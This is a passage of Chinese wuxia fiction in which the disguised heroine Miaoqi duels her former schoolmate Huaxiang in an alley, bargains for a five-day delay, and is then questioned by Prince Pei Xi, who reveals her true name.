“许久不见,渺七妹妹。” “……” 若说玄霄有什么人会令渺七感到不知所措,那便是眼前此人,华湘—— 千矶岛难得不拐弯抹角者,亦是岛上最最有名者,常常往来于三院间,传闻不少人皆与她关系匪浅。 早在两年前,华湘每每见到渺七都要上前逗趣一番,渺七起初未解其意,后经芙生提醒才明白她是何意思,此后华湘更是时时送她礼物,渺七欲躲,可怎么躲都在千矶岛上,好在也只半年时光,其后华湘便不再缠着她。 渺七见她也来,问:“抓我也需日院的人出手吗?” “我也说不必,可霄首这样安排我又回绝不得,渺七妹妹就随我们回去罢。”说完忍不住摇头感叹,“只是好好儿的妹妹,怎就成了光头?” 渺七未理会她,目光转向芙生,问她:“我的马呢?” “自是卖进鬼市赚了黑钱。” 渺七遂皱眉,与此同时将剑抽出,华湘则轻挥两鞭,命令芙生道:“去巷口看着。” “是。” 话落,软鞭如银蛇出洞,不由分说向渺七袭来,渺七以软剑相挡。 软鞭由精钢锻造,缠绕银丝,极其坚韧,与软剑皆是刚柔并济之武器,二者相击相绕,琅琅生响。 风刮进巷里,天色更暗,渺七趁软剑摆脱束缚之际,左手疾伸,一撩,握紧鞭梢将华湘往面前一拽,华湘低腰闪避,躲过袭击绕至渺七身后,换左手持鞭,右手意欲探向渺七腰际,渺七回踢一脚,银丝软鞭则教人狠狠一夺,登时划破她左手。 “哎呀,罪过。” 华湘从渺七右方绕过,使鞭缠住渺七手中软剑,右手作势去捞渺七左手手腕,两只手便交搏起来。 华湘挡臂拦下一击,又伸手擦过渺七面颊,一边道:“渺七妹妹何故易容?瞧着好生碍眼。” 渺七侧头避过,瞥见石板路上一块碎石,脚尖轻勾踢起,碎石直直飞向墙边,正中醉眠的少年。 应安捂住脑门儿惊醒,痛呼声,恍惚间见到渺七与人打斗,登时从推车中坐起,问:“谢仲孝,怎么回事?” “扑哧——”华湘听得渺七的新名号,忽而松开软鞭退出几步,笑得直不起腰,“谢仲孝,亏你想得出来。” “……”渺七回头看应安,道,“去叫人来。” 应安迟疑一瞬,终是听信渺七的话背身跑开,待他跑远,芙生也从墙头跳下。 渺七看向二人,开口:“我可以答应你,但要给我几日期限,五日后辰时将我的马系在城外。” “五日?太久。” “四日后青州王府发俸,我要领了月钱再走。” “……” “……” 二人双双语塞,片刻后,华湘再次笑出声:“既如此,再等你五日也无妨,莫令姐姐失望。” 芙生站在她斜后方,欲言又止一番,终究闭口无言。 二人在应安搬来救兵前便消失得无影踪,渺七收起剑,自行朝青州王府去。 …… 傍晚,王府正殿。 渺七坐在堂屋东侧,微微蹙额,伸着手由一个药童替她包扎手伤,直到包扎妥当,童子退出中堂,她才抬眼看其余几人。 屋外风声作响,天色晦暝,堂屋之中却油灯煌煌。 应安坐在她对面,双目猩红,死死地盯着她,其旁坐着应平,目光同样落在她身上,神情冷峻,而主位之上,裴皙双臂搭在玫瑰椅臂上,两手交叠,垂眸似在沉思。 裴皙久久不发话,终于急得应安扭头看他,问:“王爷,为何还不问他?” 裴皙这才抬眼看渺七,开口却说:“应平,带应安出去。” “王爷?”一句话撵了两个人,兄弟二人不免诧异叫他。 “我有话要单独同他谈。” 裴皙口吻温和,却不容置喙,兄弟二人无奈退下,因此偌大的屋内便只剩渺七与裴皙。 又一阵长久的静默后,裴皙不冷不热地开了口:“说说看,与你交手的是什么人。” 渺七低头看着手,想了想说:“算是昔日同窗。” “哪处的同窗?” 渺七重又抬眼,试探问起裴皙:“你可知蓬莱海域千矶岛?” 问罢,竟见裴皙面上无端露出笑意,渺七不由心下打鼓,然后便听他似欣慰般说道:“我很高兴。” 渺七眼底遂又多几许困惑。 “很高兴你总算对我说了句实话——”裴皙顿了顿,叫她,“崔渺。”